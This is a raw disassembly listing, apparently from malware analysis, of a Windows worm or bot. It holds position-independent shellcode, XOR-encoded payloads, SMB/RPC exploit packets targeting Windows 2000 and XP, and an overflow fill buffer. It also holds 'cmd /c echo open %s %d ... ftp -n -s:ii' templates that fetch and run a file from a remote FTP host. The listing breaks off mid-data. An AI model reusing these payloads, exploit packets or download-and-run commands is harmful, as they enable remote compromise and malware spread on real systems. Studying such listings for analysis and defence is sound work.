CODE XREF: sub_4336B0+7p ; FUNCTION CHUNK AT 0043373A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_43371B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_433726 ; --------------------------------------------------------------------------- loc_43371B: ; CODE XREF: sub_433702+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_433726: ; CODE XREF: sub_433702+14j pop edi xor esi, esi pusha push esi jmp short loc_43373A sub_433702 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43372D proc near ; CODE XREF: sub_433702:loc_43373Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_43372D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_433702 loc_43373A: ; CODE XREF: sub_433702+29j call sub_43372D loc_43373F: ; DATA XREF: sub_40C930+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_433702 ; --------------------------------------------------------------------------- dw 0 dword_433744 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40C930+2F5o dword_433750 dd 30h ; DATA XREF: sub_40C930+2CAo dword_433754 dd 0A1h ; DATA XREF: sub_40C930+29Fo dword_433758 dd 3 ; DATA XREF: sub_40C930+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40C930+153o align 4 loc_433764: ; DATA XREF: sub_40C930+E8o jmp short near ptr dword_43376C ; --------------------------------------------------------------------------- db 6 dup(90h) dword_43376C dd 0 ; CODE XREF: seg002:loc_433764j aCmdKEchoOpenSD db 'cmd /k echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: seg000:0040D178o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_4337D8 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: sub_40D83A+2B6o ; --------------------------------------------------------------------------- loc_4337E4: ; CODE XREF: seg002:004337EEj xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_4337E4 inc edi jz short loc_43382B and eax, 952CE753h inc esp jle short loc_433853 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43382B: ; CODE XREF: seg002:004337F1j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_43388A+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_433850: ; CODE XREF: seg002:0043387Dj xor [esi-25h], bl loc_433853: ; CODE XREF: seg002:004337F9j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_43386C: ; CODE XREF: seg002:0043389Fj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_433850 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_43388A: ; CODE XREF: seg002:00433831j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_433916 jo short loc_43386C fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_4338AD+1 add bl, [edi] loc_4338AD: ; CODE XREF: seg002:004338A9j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_4338C2+2 cmp ch, bh dec edx loc_4338C2: ; CODE XREF: seg002:004338BDj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_433916: ; CODE XREF: seg002:0043389Dj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_43399C sub al, 0BCh jmp near ptr 54453D0Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_433938 dd 0EFFFC481h, 44FFFFh, 433984h ; DATA XREF: sub_40D83A+29Do dword_433944 dd 42Ah ; DATA XREF: sub_40D83A+23Dr dword_433948 dd 3E8h ; DATA XREF: sub_40D83A+2C1r dword_43394C dd 258h ; DATA XREF: sub_40D83A+293r byte_433950 db 0 ; DATA XREF: sub_40D83A+1EFr ; sub_40D83A+2CFr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_433968 dd 20804h ; DATA XREF: sub_40D73Er ; sub_40D83A+2E8o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: seg002:00433954o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_43399C: ; CODE XREF: seg002:00433920j push eax xor al, 29h loc_43399F: ; DATA XREF: sub_40D83A+211o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_4339A8 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: sub_40D83A+14Bo dword_4339BC dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: sub_40D83A+DBo aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: sub_40D83A+78o ; sub_40E3D2+1A4o align 4 aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_40D83A+2Fo ; sub_40E3D2+150o align 10h aB: ; DATA XREF: sub_40DDDF+ADo unicode 0, <> dw 4400h aCkfdenecfdef_0 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_0 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_433A40 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+CEo dd 8AC0000h, 0E5000000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_433AA0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+E8o dd 8AC0000h, 0E5000000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1wi db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_0 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_433B58 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+102o dd 8AC0000h, 0E5000800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 8Fh ; --------------------------------------------------------------------------- jno short loc_433C56 mov ecx, 484962Fh retf 0EE65h ; --------------------------------------------------------------------------- dw 0DAFBh db 0CEh ; Î db 9Eh, 0AFh, 28h db 8Eh ; Ž db 0EEh, 7Ah, 54h db 69h ; i db 85h, 28h, 57h db 0 db 4Fh, 0, 52h db 0 db 4Bh, 0, 53h db 0 dd offset loc_410051+3 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows20002195 db 'indows 2000 2195',0 aWindows20005_1 db 'Windows 2000 5.0',0 align 10h dword_433C50 dd 3A000000h ; DATA XREF: sub_40DDDF+119o db 0FFh, 53h ; --------------------------------------------------------------------------- loc_433C56: ; CODE XREF: seg002:00433BFCj dec ebp inc edx jnz short $+2 ; --------------------------------------------------------------------------- dw 0 dd 20011800h, 3 dup(0) dd 8AC0000h, 0E5000800h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_433C90 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+130o dd 8AC0800h, 0E5000800h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_433CF8 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+14Ao dd 8AC0800h, 0E5000800h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_433D90 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+164o ; sub_40DDDF+1DAo dd 8AC0800h, 0E5000800h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 6B001F00h, 14C658Ch, 0 dd 1000000h, 0 dd 63366800h, 1, 63000000h, 4A000001h, 9F4340FCh, 9043F5F8h dd 489B404Fh, 0F54F4A42h, 98469337h, 6A4F4998h, 0EED95951h dd 0F42474D9h, 1373815Bh, 0AD136156h, 0E2FCEB83h, 0ECA5D7F4h dd 579EA942h, 5E8A3C51h, 0EC9EAF45h, 7FEA3652h, 56EA7289h dd 161DDD91h, 988E57D5h, 4CEA4EE2h, 5A8A578Dh, 12EA6226h dd 8AA16743h, 67A1D201h, 1EAB97AAh, 0E78A94ACh, 3B450296h dd 4CEAB3D8h, 758A5789h, 982A5A26h, 0F8604AF2h, 9AEA7AAEh dd 727D72C1h, 77BA676Eh, 98511526h, 63EA5AEDh, 53EAFBB1h dd 9D0908A5h, 438D58E3h, 40078052h, 21523ECBh, 211221C5h dd 0C39E02F2h, 0EF8C9DC5h, 0C59E0696h, 7584DFF2h, 1169BB2Ch dd 0EC633CF8h, 1AB83E7Dh, 0EC36FB58h, 4032057Bh, 402205FEh dd 0C39E05EEh, 0FCDF3ECBh, 0F2E805CBh, 0C53E38h, 0 dword_433EF0 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+17Eo ; sub_40DDDF+1F4o dd 8AC0800h, 0E5000800h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 9001F00h, 0EC3691DDh, 42713C7Bh, 7BB1A9F8h, 0FA4FFB09h dd 40B7A9FAh, 7BB1A9F8h, 5AE71F48h, 43B7A9FAh, 0EC3402F9h dd 0F409C57Dh, 441890D4h, 0EC348052h, 770B307Dh, 7E023ECBh dd 430BB324h, 9AAD7FF4h, 9A253C4Ah, 0E0A1674Fh, 3E23A807h dd 804D1453h, 0B8592C20h, 6109FD06h, 0EC77E553h, 0C59E12D8h dd 423301F6h, 120B07FCh, 423407FCh, 0BE098652h, 40AF5374h dd 0EC0B8052h, 0C39E6152h, 909D0126h, 0C59E3269h, 7BB1A9FFh dd 73819842h, 0ECB7A9FEh aR18zt89rmiyrru db '}R18zT89rMIyrrUxOD5Ldn90tdGUQ4xcbHSBmL1VZjHnU02M96tnEaW4RWvmqwAt8' db 'atPAlENccp4U21A45xy0anPR7ULgqNdyZCRr0ljcyOmnK7',0 align 10h dword_434050 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+198o ; sub_40DDDF+20Eo dd 8AC0800h, 0E5000800h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 34001F00h, 31323231h, 416E5553h, 536C4D46h, 39646C65h dd 79656A43h, 71423371h, 72736837h, 5A4E4241h, 6F7A7255h dd 32423650h, 35727354h, 69577A65h, 71695269h, 5353656Ch dd 4C687364h, 4B633767h, 665A6836h, 7053536Ah, 6552385Ah dd 45786F58h, 615A547Ah, 716C4F55h, 32397643h, 55347731h dd 6752794Bh, 346B734Eh, 59737474h, 484B4C5Ah, 5A333335h dd 37304144h, 796F4E68h, 536E6337h, 0A644454h, 32000208h dd 46377936h, 4534979h, 6F000208h, 6A695059h, 584A5559h dd 52496165h, 49475966h, 63483643h, 6C7A3476h, 3859636Ah dd 44B4B50h, 49000208h, 6E5A5671h, 46C554Fh, 77000208h dd 634D6F6Bh, 39716F79h, 61716D4Eh, 674A696Ah, 65526C36h dd 49637A79h, 58526F70h, 793833h, 0AE576800h, 1000000h dd 0 dd 1000000h, 0 dd 0AD91A700h, 2 dup(0) dword_4341B0 dd 66000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+1AFo ; sub_40DDDF+225o dd 8AC0800h, 0E5000800h, 1C000010h, 0E0040000h, 0FFh, 2 dup(0) dd 1C004A00h, 2004A00h, 2600h, 5C002340h, 45504950h, 5005Ch dd 100200h, 1C0000h, 0 dd 40000h, 0 dd 1Fh, 2 dup(0) unk_434220 db 81h ; ; DATA XREF: sub_40DDDF+283o db 2 dup(0), 44h aCkfdenecfdef_1 db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacaca_1 db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_434270 dd 54000000h, 424D53FFh, 72h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+2A4o dd 2D80000h, 97230000h, 2003100h, 4D4E414Ch, 2E314E41h dd 4C020030h, 322E314Dh, 32303058h, 544E0200h, 4E414C20h dd 204E414Dh, 302E31h, 20544E02h, 30204D4Ch, 32312Eh, 2 dup(0) dword_4342D0 dd 0AC000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+2BEo dd 2D80000h, 97230000h, 0FF0Ch, 2FFDF00h, 100h, 4E000000h dd 0 dd 0D05C00h, 60007180h, 2B06064Ch, 5050106h, 3042A002h dd 300EA040h, 2B0A060Ch, 1040106h, 2023782h, 42EA20Ah dd 4C544E2Ch, 5053534Dh, 100h, 8020100h, 0 db 0 db 20h, 2 dup(0) db 0 db 0Ch, 0, 0Ch db 0 db 20h, 2 dup(0) db 0 aWorkstation1_0 db 'WORKSTATION1Windows 2000 2195',0 aWindows20005_2 db 'Windows 2000 5.0',0 dd 2 dup(0) dword_434388 dd 0F2000000h, 424D53FFh, 73h, 28011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+2D8o dd 2D80000h, 97230800h, 0FF0Ch, 2FFDF00h, 100h, 94000000h dd 0 dd 0D05C00h, 0A100B780h, 81309181h, 8B81A28Eh, 4E888104h dd 534D4C54h, 3005053h, 18000000h, 40001800h, 18000000h dd 58001800h, 0 dd 70000000h, 0 dd 70000000h, 18000000h, 70001800h, 2 dup(0) dd 1000000h, 802h, 4030201h, 70605h, 3 dup(0) db 0 db 2 dup(0), 0A3h db 9Eh ; ž db 5Eh, 9Bh, 4 db 57h ; W db 0E3h, 15h, 0B7h db 6Fh ; o db 44h, 0E9h, 1Eh db 49h ; I db 0FEh, 0C0h, 0BEh db 0E9h ; é db 0A6h, 0A7h, 7Fh aPmiw db 'pmiW',0 aO_0 db 'O',0 dd offset word_4B0052 db 53h db 0 dd offset loc_410051+3 dd offset dword_490054 dd offset byte_4E004F db 31h, 0, 57h aIndows200021_0 db 'indows 2000 2195',0 aWindows20005_3 db 'Windows 2000 5.0',0 align 10h dword_434480 dd 62000000h, 424D53FFh, 73h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+2EFo dd 2D80000h, 97230000h, 0FF0Dh, 2FFDF00h, 100h, 2 dup(0) db 0 db 2 dup(0), 40h db 0 db 2 dup(0), 25h db 0 db 2 dup(0), 57h aIndows200021_1 db 'indows 2000 2195',0 aWindows20005_4 db 'Windows 2000 5.0',0 align 4 dword_4344E8 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+306o dd 2D80000h, 97230801h, 0FF04h, 1000000h, 0F00h, 495C5C5Ch dd 244350h, 3F3F3F3Fh, 3Fh dword_434528 dd 5C000000h, 424D53FFh, 0A2h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+31Do dd 2D80800h, 97230801h, 0FF18h, 80000h, 16h, 0 dd 2019Fh, 3 dup(0) dd 7, 1, 40h, 2, 5C000900h, 574F5242h, 524553h, 2 dup(0) dword_434590 dd 92000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+337o dd 2D80800h, 97230801h, 48000010h, 0E0040000h, 0FFh, 2 dup(0) dd 48004A00h, 2004A00h, 2600h, 5C004F40h, 45504950h, 5005Ch dd 10030Bh, 480000h, 0 dd 16D00000h, 16D0h, 10000h, 0 dd 4FC80001h, 16704B32h, 781201D3h, 6EBF475Ah, 388E1h dd 5D040000h, 1CEB8A88h, 0E89F11C9h, 102B0008h, 26048h dd 0 dword_434628 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+351o ; sub_40DDDF+3E0o dd 2D80800h, 97230801h, 0FF0Eh, 400000h, 0FF000000h, 8FFFFFFh dd 11800h, 3F011800h, 0 dd 5011800h, 10010000h, 18000000h, 1, 0 dd 1, 0F2001F00h, 1F2207Ch, 0 dd 1000000h, 0 dd 15514F00h, 2, 15000000h, 49000002h, 2742983Fh, 439BD697h dd 0FC37984Ah, 99F54B43h, 47994642h, 0FC379948h, 4AF59B42h dd 37374F90h, 37F5434Ah, 96963740h, 9B499B96h, 999B9F96h dd 37984848h, 49934347h, 4B4AFC4Eh, 48482790h, 99474A92h dd 90963727h, 40482791h, 0F8414627h, 0FC91984Fh, 3F4E47F8h dd 0D69097F9h, 974E4A27h, 46463F42h, 4F9896FDh, 274F9848h dd 4A4149D6h, 37914F46h, 9BFC4890h, 9B9B9096h, 433F9741h dd 4A3F46D6h, 9F4EF543h, 4F984327h, 4F904F41h, 4BFDF5F9h dd 9740F541h, 40414647h, 4343989Fh, 0FD4A4E4Fh, 4696FC4Fh dd 97474243h, 92374BFCh, 373F9F96h, 4F9841D6h, 9F4AF94Ah dd 9F99FC41h, 37372798h, 4899474Eh, 4E274B42h, 4A409237h dd 9827433Fh, 494E3F91h, 4B48484Fh, 37989Bh, 0 dword_434788 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+36Bo ; sub_40DDDF+3FAo dd 2D80800h, 97230801h, 0FF0Eh, 18400000h, 0FF000001h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 4B001F00h, 483F9F47h, 499F4941h, 4342273Fh, 9746999Bh dd 91279697h, 3F4E9FFDh, 37933743h, 909F4F47h, 9B374BF8h dd 2790994Fh, 40994E47h, 9BFC9292h, 4E9097FDh, 0F5F99047h dd 0FD404A9Fh, 489327D6h, 99934340h, 93FC274Ah, 49484B97h dd 4F4A4A99h, 43984B91h, 4E434B91h, 4242929Fh, 3F464399h dd 48404141h, 2740463Fh, 3F37484Ah, 27429291h, 404EF541h dd 27499B4Fh, 4F9F3F9Fh, 41FCF998h, 9041F840h, 374EF893h dd 92379143h, 4698D64Fh, 939F9843h, 9F96924Eh, 37F9974Ah dd 48939296h, 4E4E9F41h, 0F9D6474Ah, 40479B3Fh, 984137F8h dd 9BF9FD48h, 9BD69F96h, 989343FDh, 48FD4040h, 4F914F47h dd 99414A40h, 374E4B4Bh, 43929348h, 4B424137h, 4942FC41h dd 279792FCh, 484242FCh, 939B9B46h, 419B2791h, 4892484Ah dd 0D64E414Bh, 9BF542FCh, 4F439949h, 4392FC97h, 4191D6h dd 0 dword_4348E8 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+385o ; sub_40DDDF+414o dd 2D80800h, 97230801h, 0FF0Eh, 30400000h, 0FF000002h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 0FD001F00h, 424ED627h, 9897414Ah, 4B424240h, 0F5F9FD3Fh dd 3793403Fh, 49434091h, 404F9093h, 96474A99h, 373F92F9h dd 0F5D6F997h, 439F4643h, 0F5374BD6h, 4E914AD6h, 4990FD9Bh dd 47FC9649h, 964E4FFDh, 4F469990h, 4B43F546h, 989F97F9h dd 9F9992FCh, 9B424BD6h, 96404040h, 4190909Bh, 98969297h dd 494F4A96h, 4E434F37h, 0F993424Ah, 92939837h, 49434A3Fh dd 27414E92h, 40979BF8h, 47439290h, 9040964Eh, 42404F98h dd 0F5419040h, 96424747h, 0FD4A9F49h, 99D6F537h, 4E474F3Fh dd 9F90D627h, 43D69342h, 41969243h, 4BF9964Bh, 59516AF9h dd 74D9EED9h, 815BF424h, 0F3091373h, 0EB838E1Eh, 88F4E2FCh dd 0F661E137h, 63725A0Ch, 0F0665318h, 6971E10Ch, 2DAA7278h dd 82B25B78h, 8F61B8Fh, 11C1951Ch, 8AE4178h, 3D055718h dd 38601F78h, 8D228733h, 0C8896A33h, 0CB8F1339h, 0B5EA18h dd 0 dword_434A48 dd 57010000h, 424D53FFh, 2Fh, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+39Fo ; sub_40DDDF+42Eo dd 2D80800h, 97230801h, 0FF0Eh, 48400000h, 0FF000003h dd 8FFFFFFh, 11800h, 3F011800h, 0 dd 5011800h, 10000000h, 18000000h, 1, 0 dd 1, 5D001F00h, 0ECFB36D7h, 8AA4178h, 5057818h, 15D195B8h dd 258DF5F2h, 2DE29778h, 384D7FEFh, 4A057A28h, 5CE95C3h dd 0A4926E78h, 57865E78h, 7C0909Bh, 0DF714E1Fh, 61E84D95h dd 7EE62CC0h, 5DD12C80h, 0C2E6CE0Ch, 59B5E21Eh, 80D1C80Ch dd 0E40F7816h, 63DB1CFBh, 615EE1F1h, 0A47B172Ah, 5A58E1A4h dd 5ADD4DA0h, 5ACD4DB0h, 61E8CE0Ch, 5AE8F14Dh, 611BFF7Ah dd 0CEFE0457h, 6358E1A4h, 0F6DB4FE3h, 0A42A7623h, 0F6D9F7DDh dd 0F6DB4D25h, 406B7623h, 0F6D95775h, 5DDA4E25h, 9A5EE1A6h dd 0CFF7F99Bh, 0DF71498Ah, 6F5EE1A6h, 61E87A99h, 0EC077390h dd 20D74E99h, 6369973Fh, 386C97B7h, 0F724ED33h, 4B7033B1h dd 73038DDFh, 0A225B5CBh, 0BA706C9Bh, 4DFBE1E5h, 5ED5C80Ch dd 58DF4FA1h, 58DF1F99h, 0D9714FA6h, 0C57B39Bh, 0DF714D3Dh dd 3E71E199h, 5E05CE0Ch, 6D4A9D0Fh, 0F6DCC80Ch, 617623h dd 0 dword_434BA8 dd 0CA000000h, 424D53FFh, 25h, 20011800h, 3 dup(0) ; DATA XREF: sub_40DDDF+3B9o ; sub_40DDDF+448o dd 2D80800h, 97230801h, 80000010h, 0E0040000h, 0FFh, 2 dup(0) dd 80004A00h, 2004A00h, 2600h, 5C008740h, 45504950h, 5005Ch dd 100200h, 800000h, 0 dd 680000h, 0 dd 13C7001Fh, 25F6DD7Eh, 8045EE1h, 0Fh dup(8040002h), 2 dd 0BE895Bh, 20000h, 0 dd 20000h, 2EB0000h, 760000h, 2 dup(0) dword_434C78 dd 30B0005h, 10h, 48h, 0 ; DATA XREF: sub_40E3D2+1F6o dd 16D016D0h, 0 dd 1, 10000h, 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh dd 3, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_434CC4 dd 3000005h, 10h, 830h, 0 ; DATA XREF: sub_40E3D2+C9o dd 818h, 1F0000h, 0FFFFFFFFh, 1, 0 dd 1, 2 dup(0) dword_434CF4 dd 0FAh, 2, 0 ; DATA XREF: sub_40E3D2+139o dd 2, 0 dd 0FAh, 3 dup(0) dword_434D18 dd 0D959516Ah, 2474D9EEh ; DATA XREF: sub_40E3D2+41o db 0F4h, 5Bh ; --------------------------------------------------------------------------- loc_434D22: ; CODE XREF: seg002:00434D2Cj xor dword ptr [ebx+13h], 889097A8h sub ebx, 0FFFFFFFCh loop loc_434D22 sub [ebx+6Fh], edx db 67h push edi push 7CC274D4h frstor byte ptr [eax+51h] push 1CC8776Fh cld lodsb mov word ptr ds:95EB23B4h[edx*8], ds ; --------------------------------------------------------------------------- db 0F0h, 0A9h, 78h dd 1CB0C71Bh, 7CA9A8CFh, 1C9C03D9h, 57996691h, 572C2409h dd 5D698FE4h, 7C6A899Dh, 0B3FCB364h, 1C4DFDB8h, 7CA9ACCFh dd 0DCA403F6h, 96B4D71Bh, 1C848B7Bh, 8B8CE419h, 4C994BF1h dd 0A7EB03F4h, 1CA4C81Bh, 1C0594E0h, 0FFF680D0h, 7BA6C61Eh dd 0F17E77C0h, 0A4C0EEC3h, 0E4DFE0A2h, 68FCD7A2h, 7A63E040h dd 68F8B36Ch, 7221D746h, 9F4509F6h, 95C2DD92h, 4EC0586Fh dd 0C0057D99h, 0C4FB5E6Fh, 0D4FBDBC3h, 68FBCBC3h, 86C0EE40h dd 1EFBEECCh, 33C01D71h, 0C06FF88Ah, 87C25E6Fh, 4757DDC1h dd 0B9052CF8h, 4157DF79h, 4757DDC3h, 11E16DF8h, 4157DFD9h dd 0C2FCDCC0h, 0FF3B586Fh, 0EE6EF177h, 0C27E77C7h, 0FDCE586Fh dd 0F4C0EEF4h, 0FD4D01FDh, 5B81D1C0h, 0D3C26F19h, 57996A19h dd 0D5562263h, 0BBEA76BDh, 0AFD20503h, 0FF03233Bh, 811B76E2h dd 68ECFD6Fh, 0C5FFD346h, 0FDF9D9C1h, 0C2F9D991h, 0FF7877C1h dd 59AD513Dh, 0FD7E77C3h, 689F776Fh, 6BFF0340h, 68CC4C13h dd 4757DA46h, 776667F8h, 4157DBF0h, 586Fh, 0 aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E2E5+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aBindingToRpcIn db '[+] Binding to RPC interface ... ',0Ah,0 ; DATA XREF: sub_40E3D2+1D8o align 10h aFailedToConnec db '[-] Failed to connect to host !',0Ah,0 ; DATA XREF: sub_40E3D2+18Eo align 4 dword_434F34 dd 163h, 0 ; DATA XREF: sub_40E3D2+D7o dword_434F3C dd 20804h, 0 ; DATA XREF: sub_40E3D2+71o dword_434F44 dd 2080Ah, 2 dup(0) ; DATA XREF: sub_40E3D2+56o dword_434F50 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E78C+5Ao dword_434F60 dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 